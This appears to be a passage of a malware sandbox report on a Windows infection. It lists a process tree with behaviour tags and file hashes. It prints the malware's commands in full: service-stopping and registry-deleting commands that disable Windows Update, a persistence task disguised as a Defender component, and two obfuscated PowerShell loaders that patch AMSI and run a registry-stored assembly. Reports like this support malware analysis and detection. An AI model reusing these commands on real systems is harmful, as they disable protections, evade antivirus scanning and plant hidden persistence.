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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:812
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:5012
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:1520
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:4648
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:1120
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:1116
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:1092
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:3852
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4832
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:4380
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1348
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1248
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1208
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1196
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1156
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:jaLqeLuiBvgY{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$edTWDpOCALrfXO,[Parameter(Position=1)][Type]$sJwMXrtjLr)$IawzFKrlOwS=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+'e'+''+'c'+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+'g'+''+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+'m'+[Char](111)+''+[Char](114)+'y'+[Char](77)+''+[Char](111)+'d'+[Char](117)+'le',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+[Char](101)+'le'+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+''+[Char](84)+'y'+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+'c'+[Char](44)+''+'S'+'e'+[Char](97)+'l'+'e'+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+'s'+[Char](105)+''+[Char](67)+''+'l'+''+[Char](97)+''+'s'+''+'s'+''+','+''+'A'+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$IawzFKrlOwS.DefineConstructor(''+'R'+''+[Char](84)+''+'S'+''+[Char](112)+''+'e'+'c'+[Char](105)+''+[Char](97)+''+[Char](108)+''+'N'+''+'a'+''+'m'+'e'+','+'H'+[Char](105)+'d'+'e'+''+[Char](66)+''+'y'+''+[Char](83)+'ig'+','+''+[Char](80)+'ublic',[Reflection.CallingConventions]::Standard,$edTWDpOCALrfXO).SetImplementationFlags(''+'R'+''+[Char](117)+'nt'+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+'Man'+'a'+''+[Char](103)+''+'e'+''+[Char](100)+'');$IawzFKrlOwS.DefineMethod(''+[Char](73)+'n'+'v'+''+[Char](111)+''+'k'+''+'e'+'',''+[Char](80)+''+[Char](117)+'bl'+[Char](105)+''+'c'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+'e'+[Char](66)+''+'y'+'S'+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+'S'+''+[Char](108)+''+'o'+''+[Char](116)+',V'+[Char](105)+''+[Char](114)+''+'t'+''+'u'+''+'a'+''+[Char](108)+'',$sJwMXrtjLr,$edTWDpOCALrfXO).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'im'+[Char](101)+''+[Char](44)+'M'+'a'+''+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $IawzFKrlOwS.CreateType();}$IVfwnYnVJaeIr=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+'t'+[Char](101)+'m'+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+'c'+[Char](114)+''+'o'+''+'s'+'o'+[Char](102)+''+'t'+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+'3'+'2'+[Char](46)+'U'+'n'+''+[Char](115)+'a'+[Char](102)+''+[Char](101)+'I'+[Char](86)+''+[Char](102)+''+'w'+''+[Char](110)+'Y'+[Char](110)+''+[Char](86)+''+[Char](74)+''+[Char](97)+''+'e'+''+[Char](73)+''+[Char](114)+'');$zPVhDcAwAFcAKA=$IVfwnYnVJaeIr.GetMethod(''+[Char](122)+''+[Char](80)+''+[Char](86)+''+'h'+'Dc'+'A'+''+[Char](119)+''+[Char](65)+'Fc'+[Char](65)+'K'+[Char](65)+'',[Reflection.BindingFlags]''+'P'+''+'u'+''+[Char](98)+'l'+'i'+''+'c'+','+'S'+''+[Char](116)+''+[Char](97)+''+[Char](116)+'i'+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$fqYFHiyWVCvVqcljnfn=jaLqeLuiBvgY @([String])([IntPtr]);$TbAOYyNCYNOUkXvrXJAYpZ=jaLqeLuiBvgY @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$oivKUHavxZS=$IVfwnYnVJaeIr.GetMethod('Ge'+[Char](116)+''+'M'+'od'+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+'n'+[Char](100)+''+'l'+'e').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](100)+'l'+[Char](108)+'')));$PKfwpQNKSrDkGR=$zPVhDcAwAFcAKA.Invoke($Null,@([Object]$oivKUHavxZS,[Object](''+'L'+''+'o'+''+[Char](97)+''+[Char](100)+''+[Char](76)+'i'+[Char](98)+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+'y'+''+[Char](65)+'')));$LKMCrpXGxvrLIiTXR=$zPVhDcAwAFcAKA.Invoke($Null,@([Object]$oivKUHavxZS,[Object](''+'V'+''+[Char](105)+''+'r'+''+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+'t')));$FpfFrqO=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PKfwpQNKSrDkGR,$fqYFHiyWVCvVqcljnfn).Invoke(''+'a'+''+[Char](109)+'si'+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$UhOurdwrSPAOErTOB=$zPVhDcAwAFcAKA.Invoke($Null,@([Object]$FpfFrqO,[Object](''+[Char](65)+''+'m'+''+'s'+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+[Char](97)+''+[Char](110)+'Buf'+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$uVogUqLark=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LKMCrpXGxvrLIiTXR,$TbAOYyNCYNOUkXvrXJAYpZ).Invoke($UhOurdwrSPAOErTOB,[uint32]8,4,[ref]$uVogUqLark);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$UhOurdwrSPAOErTOB,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LKMCrpXGxvrLIiTXR,$TbAOYyNCYNOUkXvrXJAYpZ).Invoke($UhOurdwrSPAOErTOB,[uint32]8,0x20,[ref]$uVogUqLark);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+'F'+[Char](84)+''+[Char](87)+''+'A'+'R'+'E'+'').GetValue(''+[Char](100)+'i'+'a'+''+[Char](108)+'e'+[Char](114)+''+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2024
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:OEdsSgEHBLii{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$NkTNKKRcJmoPoy,[Parameter(Position=1)][Type]$BVJGODEzOu)$cvKebXZqoNO=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+''+'f'+''+[Char](108)+'e'+[Char](99)+''+'t'+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+''+'e'+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+[Char](77)+''+[Char](101)+''+[Char](109)+'o'+'r'+'y'+'M'+''+[Char](111)+'d'+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+'M'+''+'y'+'D'+'e'+'l'+[Char](101)+'g'+[Char](97)+'t'+[Char](101)+''+[Char](84)+'y'+'p'+''+[Char](101)+'',''+[Char](67)+''+'l'+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+'l'+'i'+''+[Char](99)+''+','+'Se'+'a'+''+[Char](108)+''+[Char](101)+'d'+[Char](44)+''+[Char](65)+''+'n'+''+[Char](115)+''+'i'+''+[Char](67)+'la'+[Char](115)+''+[Char](115)+',Au'+[Char](116)+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+'a'+'s'+'s'+'',[MulticastDelegate]);$cvKebXZqoNO.DefineConstructor(''+'R'+'T'+'S'+'p'+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+'N'+'a'+[Char](109)+''+'e'+''+[Char](44)+''+'H'+''+[Char](105)+'d'+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+','+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$NkTNKKRcJmoPoy).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+'m'+'e'+''+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+'d'+'');$cvKebXZqoNO.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+'k'+'e',''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+'c'+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+'yS'+'i'+''+[Char](103)+''+[Char](44)+''+[Char](78)+'e'+[Char](119)+''+'S'+'lo'+[Char](116)+''+[Char](44)+'Vi'+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$BVJGODEzOu,$NkTNKKRcJmoPoy).SetImplementationFlags(''+[Char](82)+''+'u'+'n'+'t'+''+[Char](105)+''+'m'+'e'+[Char](44)+''+[Char](77)+'an'+'a'+'g'+[Char](101)+''+[Char](100)+'');Write-Output $cvKebXZqoNO.CreateType();}$AquTsESijdNIw=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+'s'+''+[Char](116)+'e'+'m'+''+'.'+'dl'+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+'r'+[Char](111)+'s'+'o'+''+[Char](102)+''+[Char](116)+'.'+[Char](87)+'i'+[Char](110)+''+[Char](51)+''+'2'+'.'+[Char](85)+''+[Char](110)+''+[Char](115)+''+'a'+''+'f'+''+[Char](101)+''+'A'+''+'q'+''+[Char](117)+''+'T'+''+[Char](115)+''+[Char](69)+''+[Char](83)+''+'i'+'j'+'d'+''+[Char](78)+''+[Char](73)+''+[Char](119)+'');$LxDbdWIRoejMhu=$AquTsESijdNIw.GetMethod(''+[Char](76)+''+[Char](120)+'Dbd'+[Char](87)+''+[Char](73)+''+[Char](82)+''+[Char](111)+''+'e'+''+[Char](106)+'Mh'+[Char](117)+'',[Reflection.BindingFlags]''+[Char](80)+'u'+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+'a'+[Char](116)+''+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$nnroMMNyLqKKybnUqxg=OEdsSgEHBLii @([String])([IntPtr]);$uwSJIkvtcBIpQBKdwASgYe=OEdsSgEHBLii @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$yorjwoJaDwT=$AquTsESijdNIw.GetMethod('Ge'+[Char](116)+''+'M'+''+[Char](111)+''+[Char](100)+'u'+'l'+'e'+'H'+''+'a'+''+[Char](110)+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+'r'+''+[Char](110)+''+[Char](101)+''+'l'+'3'+'2'+'.'+[Char](100)+'ll')));$jjsUmMgUOZEhGk=$LxDbdWIRoejMhu.Invoke($Null,@([Object]$yorjwoJaDwT,[Object]('Lo'+[Char](97)+''+'d'+''+'L'+''+'i'+''+'b'+''+[Char](114)+''+[Char](97)+''+'r'+''+'y'+'A')));$XrriqKQZXkZzzrxLg=$LxDbdWIRoejMhu.Invoke($Null,@([Object]$yorjwoJaDwT,[Object](''+[Char](86)+''+[Char](105)+'rtu'+'a'+''+'l'+'P'+[Char](114)+''+[Char](111)+'t'+'e'+'c'+'t'+'')));$VxFyFry=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jjsUmMgUOZEhGk,$nnroMMNyLqKKybnUqxg).Invoke(''+'a'+''+'m'+''+[Char](115)+''+[Char](105)+''+[Char](46)+'d'+'l'+''+[Char](108)+'');$QdxDHFpNrpPuWtknv=$LxDbdWIRoejMhu.Invoke($Null,@([Object]$VxFyFry,[Object]('A'+'m'+''+[Char](115)+''+'i'+''+[Char](83)+''+[Char](99)+''+[Char](97)+''+[Char](110)+'B'+[Char](117)+''+'f'+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$QTURtAToJn=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XrriqKQZXkZzzrxLg,$uwSJIkvtcBIpQBKdwASgYe).Invoke($QdxDHFpNrpPuWtknv,[uint32]8,4,[ref]$QTURtAToJn);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$QdxDHFpNrpPuWtknv,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XrriqKQZXkZzzrxLg,$uwSJIkvtcBIpQBKdwASgYe).Invoke($QdxDHFpNrpPuWtknv,[uint32]8,0x20,[ref]$QTURtAToJn);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+'F'+'TW'+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+'l'+'e'+''+'r'+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3104
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1052
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1044
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:688
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 5056 -ip 50561⤵PID:2648
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 1396 -ip 13961⤵PID:2000
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
226B
MD5916851e072fbabc4796d8916c5131092
SHA1d48a602229a690c512d5fdaf4c8d77547a88e7a2
SHA2567e750c904c43d27c89e55af809a679a96c0bb63fc511006ffbceffc2c7f6fb7d
SHA51207ce4c881d6c411cac0b62364377e77950797c486804fb10d00555458716e3c47b1efc0d1f37e4cc3b7e6565bb402ca01c7ea8c963f9f9ace941a6e3883d2521
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Filesize
19KB
MD59f5025511608ebe506fe975014381172
SHA14fe1a546c4cd90649b516f5dbd13b41b2aac1e3f
SHA2564ca3d883978a4e0ce6ed19e4719c05d10b4388c3af8fdd78de5d399c2741ad61
SHA512399446a260752d48182829553375daecf19f6a7e9491696537c21d7f6c951976f72db0ca85a85f1a12724b2a64975322fe9b3a39590f4101a07bb3b0a1f44a0d
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Filesize
948B
MD5a7ce8cefc3f798abe5abd683d0ef26dd
SHA1b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e
SHA2565e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
SHA512c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
455KB
MD5ee0ad7cc2a5976a5c658da52092977a9
SHA1c69b99d42a9f9886af74e6a75fd905a5d17d4792
SHA256f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b
SHA512ca7f8b1409156b7d1b143cfb33f64056a8c2a8ce401dc735c82828521922044f86680ca6c1b4b08955689c5ba11c94930fe64cce37258e621c7d47ee2dafea17
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Filesize
455KB
MD5ee0ad7cc2a5976a5c658da52092977a9
SHA1c69b99d42a9f9886af74e6a75fd905a5d17d4792
SHA256f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b
SHA512ca7f8b1409156b7d1b143cfb33f64056a8c2a8ce401dc735c82828521922044f86680ca6c1b4b08955689c5ba11c94930fe64cce37258e621c7d47ee2dafea17